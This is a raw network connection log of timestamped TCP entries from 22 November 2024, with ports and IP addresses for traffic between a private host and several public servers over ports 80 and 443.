Nov 22, 2024 17:08:42.684329033 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:42.700159073 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:42.729449034 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:42.729494095 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:42.729509115 CET	49710	443	192.168.2.10	20.109.210.53
Nov 22, 2024 17:08:42.729518890 CET	443	49710	20.109.210.53	192.168.2.10
Nov 22, 2024 17:08:42.788955927 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:42.789223909 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:42.789247036 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:42.789592981 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:42.789971113 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:42.790035009 CET	443	49718	142.250.181.68	192.168.2.10
Nov 22, 2024 17:08:42.830620050 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:42.918606997 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:43.222330093 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.222853899 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.225984097 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.225991964 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.226247072 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.268203974 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.311333895 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.717786074 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:43.719831944 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:43.719862938 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:08:43.719994068 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:43.721354961 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:43.721390963 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:08:43.749461889 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.749545097 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.750174046 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.750174046 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.750356913 CET	49722	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.750370979 CET	443	49722	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.755054951 CET	49728	443	192.168.2.10	142.250.181.78
Nov 22, 2024 17:08:43.755084991 CET	443	49728	142.250.181.78	192.168.2.10
Nov 22, 2024 17:08:43.755167007 CET	49728	443	192.168.2.10	142.250.181.78
Nov 22, 2024 17:08:43.755419970 CET	49728	443	192.168.2.10	142.250.181.78
Nov 22, 2024 17:08:43.755439997 CET	443	49728	142.250.181.78	192.168.2.10
Nov 22, 2024 17:08:43.818824053 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.818876028 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:43.819102049 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.819493055 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:43.819506884 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:44.030524015 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:44.645118952 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:44.695384026 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:44.695542097 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:44.779659986 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:44.814801931 CET	49718	443	192.168.2.10	142.250.181.68
Nov 22, 2024 17:08:44.814882994 CET	49728	443	192.168.2.10	142.250.181.78
Nov 22, 2024 17:08:44.919841051 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:45.116020918 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:08:45.116086006 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:45.225683928 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.225784063 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.228404045 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.228411913 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.228674889 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.229813099 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.271330118 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.749958038 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:45.752579927 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:45.755480051 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.755547047 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.755605936 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.756380081 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.756397009 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.756403923 CET	49729	443	192.168.2.10	2.23.161.164
Nov 22, 2024 17:08:45.756409883 CET	443	49729	2.23.161.164	192.168.2.10
Nov 22, 2024 17:08:45.850667000 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:48.253658056 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:48.955024958 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:48.955069065 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:48.955131054 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:48.955507040 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:48.955521107 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.482690096 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:50.482745886 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:50.482820988 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:50.485081911 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:50.485097885 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:50.753937006 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:50.753995895 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:50.815176010 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.816720963 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:50.816732883 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.817934990 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.818017006 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:50.819235086 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:50.819324017 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.819655895 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:50.819664001 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:50.910041094 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:51.332256079 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:51.332334995 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:51.332494020 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:51.509674072 CET	49737	443	192.168.2.10	94.245.104.56
Nov 22, 2024 17:08:51.509699106 CET	443	49737	94.245.104.56	192.168.2.10
Nov 22, 2024 17:08:51.511792898 CET	49725	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:51.512124062 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:51.634629011 CET	80	49725	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:51.634972095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:51.635071039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:51.804874897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:51.804965019 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:51.924376965 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:51.924483061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:51.924504042 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:51.924585104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:52.019721031 CET	49748	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:52.019782066 CET	443	49748	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:52.019848108 CET	49748	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:52.020155907 CET	49748	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:52.020173073 CET	443	49748	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:52.323551893 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:52.323621035 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:52.453135014 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:52.453156948 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:52.453512907 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:52.460910082 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:52.460944891 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:52.461129904 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.071248055 CET	49672	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:08:53.198033094 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.198060989 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.198097944 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.198142052 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.198148012 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.198307991 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.198931932 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.198951960 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.198962927 CET	49739	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.198971033 CET	443	49739	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.281861067 CET	49752	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.281912088 CET	443	49752	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.281974077 CET	49752	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.282156944 CET	49752	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.282176018 CET	443	49752	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.282881021 CET	49753	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.282918930 CET	443	49753	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.282980919 CET	49753	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.283160925 CET	49753	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.283180952 CET	443	49753	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.293289900 CET	49754	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.293339014 CET	443	49754	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.293407917 CET	49754	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.294117928 CET	49754	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.294135094 CET	443	49754	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.396663904 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.396703959 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.396795034 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.397228956 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:53.397254944 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:53.532862902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:53.532928944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:53.805866003 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:53.815196037 CET	49752	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.816847086 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.816895962 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.816960096 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.817148924 CET	49753	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.817205906 CET	49748	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:53.818146944 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:53.818159103 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:53.818211079 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:53.819184065 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.819196939 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.819253922 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.819715023 CET	49754	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.819911003 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.819936991 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.819992065 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.820162058 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.820178032 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.820210934 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:53.820225000 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:53.820430994 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.820444107 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.820791006 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.820804119 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.859338045 CET	443	49748	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:53.859339952 CET	443	49752	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.863343000 CET	443	49754	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.863362074 CET	443	49753	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.935094118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:53.964453936 CET	443	49748	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:53.964529037 CET	49748	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:53.993650913 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.993705988 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:53.993779898 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.993961096 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:53.993977070 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.038033009 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.038095951 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.038178921 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.038430929 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.038446903 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.067950964 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.067961931 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.068031073 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.070036888 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.070049047 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.156409025 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:54.156426907 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:54.156497955 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:54.156826973 CET	49776	443	192.168.2.10	18.165.220.110
Nov 22, 2024 17:08:54.156840086 CET	443	49776	18.165.220.110	192.168.2.10
Nov 22, 2024 17:08:54.508902073 CET	443	49753	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.509016037 CET	49753	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.510175943 CET	443	49754	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.510257006 CET	49754	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.537276983 CET	443	49752	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:54.537379980 CET	49752	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:54.769109964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:54.769237041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.037940025 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.038326979 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.038342953 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.039212942 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.039273024 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.040767908 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.040833950 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.040985107 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.083502054 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.087327003 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.092247009 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.097074032 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.097085953 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.097212076 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.097223997 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.098217010 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.098289013 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.098304033 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.098364115 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.101495981 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.101592064 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.102741957 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.102838993 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.102951050 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.102960110 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.103126049 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.103133917 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.161150932 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.161151886 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.161161900 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.161179066 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.220980883 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.224219084 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.224247932 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.225327015 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.225327015 CET	49755	443	192.168.2.10	20.190.147.11
Nov 22, 2024 17:08:55.225337029 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.225353956 CET	443	49755	20.190.147.11	192.168.2.10
Nov 22, 2024 17:08:55.257155895 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.259454966 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.259475946 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.261145115 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.261357069 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.262182951 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.262276888 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.262434959 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.262442112 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.266385078 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:55.284667015 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.284698009 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.284775019 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.284970999 CET	49780	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.284982920 CET	443	49780	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.298177958 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.298435926 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.298469067 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.299542904 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.299597025 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.299982071 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.300045013 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.300143003 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.300152063 CET	443	49766	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.335297108 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.335608006 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.335618973 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.339210033 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.339303970 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.340025902 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.340135098 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.340214968 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.357784033 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.357804060 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.357804060 CET	49766	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.383332014 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.386038065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.408706903 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.408745050 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.408844948 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.409277916 CET	49781	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.409295082 CET	443	49781	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.469939947 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.469961882 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.470062971 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.470817089 CET	49782	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.470830917 CET	443	49782	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.474406004 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.474477053 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.474631071 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.474687099 CET	49757	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.474694967 CET	443	49757	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.509156942 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.509172916 CET	443	49769	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.528603077 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.528666973 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.528717041 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.528834105 CET	49759	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.528844118 CET	443	49759	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.538177967 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.538239002 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.538420916 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.538522959 CET	49763	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.538536072 CET	443	49763	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.570096970 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.570379019 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.570389032 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.570854902 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.570872068 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.570914984 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.570921898 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.570955992 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.570970058 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.571655035 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.572812080 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.572925091 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.572969913 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.616381884 CET	49769	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.616439104 CET	49758	443	192.168.2.10	172.217.19.225
Nov 22, 2024 17:08:55.616446018 CET	443	49758	172.217.19.225	192.168.2.10
Nov 22, 2024 17:08:55.701210976 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.701411963 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.701503992 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.701735973 CET	49765	443	192.168.2.10	162.159.61.3
Nov 22, 2024 17:08:55.701754093 CET	443	49765	162.159.61.3	192.168.2.10
Nov 22, 2024 17:08:55.712541103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:55.712603092 CET	80	49747	185.215.113.206	192.168.2.10
